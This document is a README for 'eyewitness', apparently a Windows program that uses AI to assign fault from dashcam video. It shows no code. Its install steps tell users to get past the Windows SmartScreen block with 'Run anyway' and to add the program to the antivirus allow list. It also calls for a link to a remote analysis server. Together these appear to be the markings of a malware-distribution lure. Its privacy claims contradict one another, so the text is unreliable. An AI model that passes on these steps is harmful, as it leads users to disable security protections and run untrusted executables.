🔍 eyewitness - Analyze dashcam footage for accident clarity

Eyewitness provides a way to process dashcam recordings to determine fault in traffic incidents. The software uses artificial intelligence to identify vehicles and objects in your footage. It calculates distances and paths to provide an objective report regarding movement and safety.

📥 How to download the software

You need to place the application on your computer to begin. Follow these steps to obtain the correct file for Windows.

1. Go to the release page.
2. Look for the most recent version at the top of the list.
3. Locate the asset section under the release notes.
4. Click the file ending in .exe to start the download.
5. Save the file to your desktop or downloads folder.

⚙️ System requirements

Ensure your computer meets these standards before you run the program.

• Operating System: Windows 10 or Windows 11.
• Memory: At least 8GB of RAM.
• Storage: 500MB of free space for the application.
• Camera Data: The software supports standard MP4 and AVI dashcam files.
• Internet: A connection is necessary for the initial setup and analysis functions.

🚀 Getting started

Once you download the installer, follow these steps to use the tool.

1. Double-click the file you downloaded.
2. A security window may appear. Select “More info” and then “Run anyway” if Windows blocks the application.
3. The installation wizard will guide you through the process. Click “Next” to continue.
4. Choose a folder where you want to keep the program files.
5. Finish the installation and launch the application from your desktop shortcut.

🛠️ Performing your first analysis

The application interface consists of a simple dashboard. You do not need to write code to use it.

1. Open the application.
2. Click the “Open Video” button on the main screen.
3. Select the dashcam file you wish to review.
4. Wait for the software to scan the footage for objects. This may take a few moments depending on the duration of your clip.
5. View the detected objects on the timeline.
6. Press the “Analyze Collision” button to generate a report.

📊 Understanding the results

The software provides a report based on the paths of vehicles identified in the video.

• Field-of-Safe-Motion: The system creates a boundary around your vehicle. If other objects enter this boundary too quickly, the system flags the interaction.
• Collision Verdict: The software compares the path of the vehicles against traffic physics to estimate fault.
• Evidence Trail: All actions and results are saved in a protected format within your local application folder. This ensures the data remains unchanged for your records.

❓ Frequently asked questions

Do I need a powerful graphics card? The software runs on most modern computers. While a dedicated graphics card speeds up the analysis, standard processor power suffices for most dashcam clips.

Can I use this for insurance claims? The software delivers data for your personal review. You may export these reports to support your account of an event. Do not treat the output as an official legal judgment.

Is my video data uploaded to the internet? The software processes the core analysis on your computer. It uses a cloud service to generate the final verdict, but it strips personal identification data from the video before sending information to the service.

What happens if the software fails to detect a car? The software relies on the quality of your camera footage. Low light or blurry video may hinder the process. Ensure your dashcam lens is clean and the footage is steady for the best results. If detection fails, you can manually adjust the timing markers on the timeline.

🔐 Privacy and storage

Your digital privacy remains a priority. The application stores the analysis results in a local database on your hard drive. This append-only database creates a permanent record of the analysis. You can export these reports as PDF files whenever you need to share the findings with authorities or insurance providers. No third party can access your local data files.

📝 Troubleshooting

If the software does not open, check your antivirus settings. Sometimes security systems block new programs by default. Adding the application to your “Allowed” list fix this issue.

If the analysis stays at zero percent for a long time, check your internet connection. The system needs a link to the analysis server to verify the physics of the collision. Ensure the dashcam file is not too large. Very long files may need to be trimmed into shorter segments before you import them.

💡 Best practices for clear results

• Use high-quality video files from your dashcam.
• Check the time and date settings on your dashcam before you record.
• Keep the camera lens clean to help the software identify obstacles.
• Review results during daylight hours if possible, as shadows and night light can confuse the detection tools.
• Use a stable surface to manage your files during the analysis process.

📁 Accessing logs

If you run into persistent errors, you can view the internal logs. Open the settings menu and click “Show Logs Folder.” This gives you access to a text file that describes exactly what the program was doing when the error occurred. You can save this file if you need to consult someone about a technical issue.

🏁 Finalizing the session

When you finish your work, click “Exit” in the top menu. This ensures the database saves all changes correctly. Always store your video files in a folder that you back up regularly. The application tracks the link to the video, so moving the video file after analysis might break the connection to the saved report. Always link the video file before you move it to external storage.
